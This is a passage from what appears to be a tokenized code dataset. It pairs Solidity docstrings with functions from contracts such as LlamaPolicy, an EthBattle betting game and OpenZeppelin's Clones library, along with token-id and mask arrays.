0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
1578,
1071,
394,
13930,
5846,
49,
474,
310,
14667,
7244,
12385,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0xA1A7df52ea3975861eB28b01e73028d83B0AC22d/sources/contracts/MonstersStorage.sol | ID shape - max number for each attribute
| mapping(uint256 => uint256) public monsterAttributes; | 1,850,341 | [
1,
734,
2179,
300,
943,
1300,
364,
1517,
1566,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2874,
12,
11890,
5034,
516,
2254,
5034,
13,
1071,
6921,
8190,
2498,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x0092CD4044E1672c9c513867eb75e6213AF9742f/sources/src/LlamaPolicy.sol | @notice Revokes a policyholder's expired role. @param role Role that has expired. @param policyholder Policyholder that held the role. @dev This function needs to be explicitly called to revoke expired roles by monitoring through offchain infrastructure, otherwise expired roles can continue to create actions (if they have the right permissions) and take part in the approval/disapproval process if the strategy allows it. Read the most recent checkpoint for the policyholder's role balance. | function revokeExpiredRole(uint8 role, address policyholder) external {
if (!isRoleExpired(policyholder, role)) revert InvalidRoleHolderInput();
_setRoleHolder(role, policyholder, 0, 0);
emit ExpiredRoleRevoked(msg.sender, policyholder, role);
}
| 9,329,957 | [
1,
10070,
601,
281,
279,
3329,
4505,
1807,
7708,
2478,
18,
225,
2478,
6204,
716,
711,
7708,
18,
225,
3329,
4505,
7436,
4505,
716,
15770,
326,
2478,
18,
225,
1220,
445,
4260,
358,
506,
8122,
2566,
358,
18007,
7708,
4900,
635,
16309,
3059,
3397,
5639,
316,
26150,
16,
3541,
7708,
4900,
848,
1324,
358,
752,
4209,
261,
430,
2898,
1240,
326,
2145,
4371,
13,
471,
4862,
1087,
316,
326,
23556,
19,
2251,
12908,
1125,
1207,
309,
326,
6252,
5360,
518,
18,
2720,
326,
4486,
8399,
9776,
364,
326,
3329,
4505,
1807,
2478,
11013,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
18007,
10556,
2996,
12,
11890,
28,
2478,
16,
1758,
3329,
4505,
13,
3903,
288,
203,
565,
309,
16051,
291,
2996,
10556,
12,
5086,
4505,
16,
2478,
3719,
15226,
1962,
2996,
6064,
1210,
5621,
203,
565,
389,
542,
2996,
6064,
12,
4615,
16,
3329,
4505,
16,
374,
16,
374,
1769,
203,
565,
3626,
7784,
2921,
2996,
10070,
14276,
12,
3576,
18,
15330,
16,
3329,
4505,
16,
2478,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// produced by the Solididy File Flattener (c) David Appleton 2018
// contact : [email protected]
// released under Apache 2.0 licence
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract EthBattle is Ownable {
using SafeMath for uint256;
uint256 constant TOKEN_USE_BONUS = 15; //%, adds weight of win on top of the market price
uint256 constant REFERRAL_REWARD = 2 ether; // GTA, 10*19
uint256 public MIN_PLAY_AMOUNT = 50 finney; //wei, equal 0.05 ETH
uint256 public META_BET_WEIGHT = 10 finney; //wei, equal to 0.01 ETH
uint256 public roundIndex = 0;
mapping(uint256 => address) public rounds;
address[] private currentRewardingAddresses;
PlaySeedInterface private playSeedGenerator;
GTAInterface public token;
AMUStoreInterface public store;
address public startersProxyAddress;
mapping(address => address) public referralBacklog; //backlog of players and their referrals
mapping(address => uint256) public tokens; //map of deposited tokens
event RoundCreated(address createdAddress, uint256 index);
event Deposit(address user, uint amount, uint balance);
event Withdraw(address user, uint amount, uint balance);
/**
* @dev Default fallback function, just deposits funds to the pot
*/
function () public payable {
getLastRound().getDevWallet().transfer(msg.value);
}
/**
* @dev The EthBattle constructor
* @param _playSeedAddress address of the play seed generator
* @param _tokenAddress GTA address
* @param _storeAddress store contract address
*/
constructor (address _playSeedAddress, address _tokenAddress, address _storeAddress, address _proxyAddress) public {
playSeedGenerator = PlaySeedInterface(_playSeedAddress);
token = GTAInterface(_tokenAddress);
store = AMUStoreInterface(_storeAddress);
startersProxyAddress = _proxyAddress;
}
modifier onlyProxy() {
require(msg.sender == startersProxyAddress);
_;
}
/**
* @dev Try (must be allowed by the seed generator itself) to claim ownership of the seed generator
*/
function claimSeedOwnership() onlyOwner public {
playSeedGenerator.claimOwnership();
}
/**
* @dev Inject the new round contract, and sets the round with a new index
* NOTE! Injected round must have had transferred ownership to this EthBattle already
* @param _roundAddress address of the new round to use
*/
function startRound(address _roundAddress) onlyOwner public {
RoundInterface round = RoundInterface(_roundAddress);
round.claimOwnership();
roundIndex++;
rounds[roundIndex] = round;
emit RoundCreated(round, roundIndex);
}
/**
* @dev Player starts a new play providing
* @param _referral (Optional) referral address is any
* @param _gtaBet (Optional) additional bet in GTA
*/
function play(address _referral, uint256 _gtaBet) public payable {
address player = msg.sender;
uint256 weiAmount = msg.value;
require(player != address(0), "Player's address is missing");
require(weiAmount >= MIN_PLAY_AMOUNT, "The bet is too low");
require(_gtaBet <= balanceOf(player), "Player's got not enough GTA");
uint256 _bet = aggregateBet(weiAmount, _gtaBet);
playInternal(player, weiAmount, _bet, _referral, _gtaBet);
}
/**
* @dev Etherless player starts a new play, when actually the gas fee is payed
* by the sender and the bet is set by the proxy
* @param _player The actual player
* @param _referral (Optional) referral address is any
* @param _gtaBet (Optional) additional bet in GTA
*/
function playMeta(address _player, address _referral, uint256 _gtaBet) onlyProxy public payable {
uint256 weiAmount = msg.value;
require(_player != address(0), "Player's address is missing");
require(_gtaBet <= balanceOf(_player), "Player's got not enough GTA");
//Important! For meta plays the 'weight' is not connected the the actual bet (since the bet comes from proxy)
//but static and equals META_BET_WEIGHT
uint256 _bet = aggregateBet(META_BET_WEIGHT, _gtaBet);
playInternal(_player, weiAmount, _bet, _referral, _gtaBet);
}
function playInternal(address _player, uint256 _weiBet, uint256 _betWeight, address _referral, uint256 _gtaBet) internal {
if (_referral != address(0) && referralBacklog[_player] == address(0)) {
//new referral for this _player
referralBacklog[_player] = _referral;
//reward the referral. Tokens remains in this contract
//but become available for withdrawal by _referral
transferInternally(owner, _referral, REFERRAL_REWARD);
}
playSeedGenerator.newPlaySeed(_player);
if (_gtaBet > 0) {
//player's using GTA
transferInternally(_player, owner, _gtaBet);
}
if (referralBacklog[_player] != address(0)) {
//ongoing round might not know about the _referral
//delegate the knowledge of the referral to the ongoing round
getLastRound().setReferral(_player, referralBacklog[_player]);
}
getLastRound().playRound.value(_weiBet)(_player, _betWeight);
}
/**
* @dev Player claims a win
* @param _seed secret seed
*/
function win(bytes32 _seed) public {
address player = msg.sender;
winInternal(player, _seed);
}
/**
* @dev Player claims a win
* @param _player etherless player claims
* @param _seed secret seed
*/
function winMeta(address _player, bytes32 _seed) onlyProxy public {
winInternal(_player, _seed);
}
function winInternal(address _player, bytes32 _seed) internal {
require(_player != address(0), "Winner's address is missing");
require(playSeedGenerator.findSeed(_player) == _seed, "Wrong seed!");
playSeedGenerator.cleanSeedUp(_player);
getLastRound().win(_player);
}
function findSeedAuthorized(address player) onlyOwner public view returns (bytes32){
return playSeedGenerator.findSeed(player);
}
function aggregateBet(uint256 _bet, uint256 _gtaBet) internal view returns (uint256) {
//get market price of the GTA, multiply by bet, and apply a bonus on it.
//since both 'price' and 'bet' are in 'wei', we need to drop 10*18 decimals at the end
uint256 _gtaValueWei = store.getTokenBuyPrice().mul(_gtaBet).div(1 ether).mul(100 + TOKEN_USE_BONUS).div(100);
//sum up with ETH bet
uint256 _resultBet = _bet.add(_gtaValueWei);
return _resultBet;
}
/**
* @dev Calculates the prize amount for this player by now
* Note: the result is not the final one and a subject to change once more plays/wins occur
* @return The prize in wei
*/
function prizeByNow() public view returns (uint256) {
return getLastRound().currentPrize(msg.sender);
}
/**
* @dev Calculates the prediction on the prize amount for this player and this bet
* Note: the result is not the final one and a subject to change once more plays/wins occur
* @param _bet hypothetical bet in wei
* @param _gtaBet hypothetical bet in GTA
* @return The prediction in wei
*/
function prizeProjection(uint256 _bet, uint256 _gtaBet) public view returns (uint256) {
return getLastRound().projectedPrizeForPlayer(msg.sender, aggregateBet(_bet, _gtaBet));
}
/**
* @dev Deposit GTA to the EthBattle contract so it can be spent (used) immediately
* Note: this call must follow the approve() call on the token itself
* @param _amount amount to deposit
*/
function depositGTA(uint256 _amount) public {
require(token.transferFrom(msg.sender, this, _amount), "Insufficient funds");
tokens[msg.sender] = tokens[msg.sender].add(_amount);
emit Deposit(msg.sender, _amount, tokens[msg.sender]);
}
/**
* @dev Withdraw GTA from this contract to the own (caller) address
* @param _amount amount to withdraw
*/
function withdrawGTA(uint256 _amount) public {
require(tokens[msg.sender] >= _amount, "Amount exceeds the available balance");
tokens[msg.sender] = tokens[msg.sender].sub(_amount);
require(token.transfer(msg.sender, _amount), "Amount exceeds the available balance");
emit Withdraw(msg.sender, _amount, tokens[msg.sender]);
}
/**
* @dev Internal transfer of the token.
* Funds remain in this contract but become available for withdrawal
*/
function transferInternally(address _from, address _to, uint256 _amount) internal {
require(tokens[_from] >= _amount, "Too much to transfer");
tokens[_from] = tokens[_from].sub(_amount);
tokens[_to] = tokens[_to].add(_amount);
}
/**
* @dev Interrupts the round to enable participants to claim funds back
*/
function interruptLastRound() onlyOwner public {
getLastRound().enableRefunds();
}
/**
* @dev End last round so no new plays is possible, but ongoing plays are fine to win
*/
function finishLastRound() onlyOwner public {
getLastRound().coolDown();
}
function getLastRound() public view returns (RoundInterface){
return RoundInterface(rounds[roundIndex]);
}
function getLastRoundAddress() external view returns (address){
return rounds[roundIndex];
}
function balanceOf(address _user) public view returns (uint256) {
return tokens[_user];
}
function setPlaySeed(address _playSeedAddress) onlyOwner public {
playSeedGenerator = PlaySeedInterface(_playSeedAddress);
}
function setStore(address _storeAddress) onlyOwner public {
store = AMUStoreInterface(_storeAddress);
}
function getTokenBuyPrice() public view returns (uint256) {
return store.getTokenBuyPrice();
}
function getTokenSellPrice() public view returns (uint256) {
return store.getTokenSellPrice();
}
/**
* @dev Recover the history of referrals in case of the contract migration.
*/
function setReferralsMap(address[] _players, address[] _referrals) onlyOwner public {
require(_players.length == _referrals.length, "Size of players must be equal to the size of referrals");
for (uint i = 0; i < _players.length; ++i) {
referralBacklog[_players[i]] = _referrals[i];
}
}
function getStartersProxyAddress() external view returns (address) {
return startersProxyAddress;
}
function setStartersProxyAddress(address _newProxyAddress) onlyOwner public {
startersProxyAddress = _newProxyAddress;
}
function setMetaBetWeight(uint256 _newMetaBet) onlyOwner public {
META_BET_WEIGHT = _newMetaBet;
}
function setMinBet(uint256 _newMinBet) onlyOwner public {
MIN_PLAY_AMOUNT = _newMinBet;
}
}
/**
* @title PlaySeed contract interface
*/
interface PlaySeedInterface {
function newPlaySeed(address _player) external;
function findSeed(address _player) external view returns (bytes32);
function cleanSeedUp(address _player) external;
function claimOwnership() external;
}
/**
* @title GTA contract interface
*/
interface GTAInterface {
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
}
/**
* @title EthBattleRound contract interface
*/
interface RoundInterface {
function claimOwnership() external;
function setReferral(address _player, address _referral) external;
function playRound(address _player, uint256 _bet) external payable;
function enableRefunds() external;
function coolDown() external;
function currentPrize(address _player) external view returns (uint256);
function projectedPrizeForPlayer(address _player, uint256 _bet) external view returns (uint256);
function win(address _player) external;
function getDevWallet() external view returns (address);
}
/**
* @title Ammu-Nation contract interface
*/
interface AMUStoreInterface {
function getTokenBuyPrice() external view returns (uint256);
function getTokenSellPrice() external view returns (uint256);
} | * @dev The EthBattle constructor @param _playSeedAddress address of the play seed generator @param _tokenAddress GTA address @param _storeAddress store contract address/ | constructor (address _playSeedAddress, address _tokenAddress, address _storeAddress, address _proxyAddress) public {
playSeedGenerator = PlaySeedInterface(_playSeedAddress);
token = GTAInterface(_tokenAddress);
store = AMUStoreInterface(_storeAddress);
startersProxyAddress = _proxyAddress;
}
| 4,805,525 | [
1,
1986,
512,
451,
38,
4558,
298,
3885,
225,
389,
1601,
12702,
1887,
1758,
434,
326,
6599,
5009,
4456,
225,
389,
2316,
1887,
611,
9833,
1758,
225,
389,
2233,
1887,
1707,
6835,
1758,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
261,
2867,
389,
1601,
12702,
1887,
16,
1758,
389,
2316,
1887,
16,
1758,
389,
2233,
1887,
16,
1758,
389,
5656,
1887,
13,
1071,
288,
203,
3639,
6599,
12702,
3908,
273,
19592,
12702,
1358,
24899,
1601,
12702,
1887,
1769,
203,
3639,
1147,
273,
611,
9833,
1358,
24899,
2316,
1887,
1769,
203,
3639,
1707,
273,
20653,
57,
2257,
1358,
24899,
2233,
1887,
1769,
203,
3639,
10443,
5432,
3886,
1887,
273,
389,
5656,
1887,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (proxy/Clones.sol)
pragma solidity ^0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library Clones {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address implementation) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `implementation` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(
address implementation,
bytes32 salt,
address deployer
) internal pure returns (address predicted) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address implementation, bytes32 salt)
internal
view
returns (address predicted)
{
return predictDeterministicAddress(implementation, salt, address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
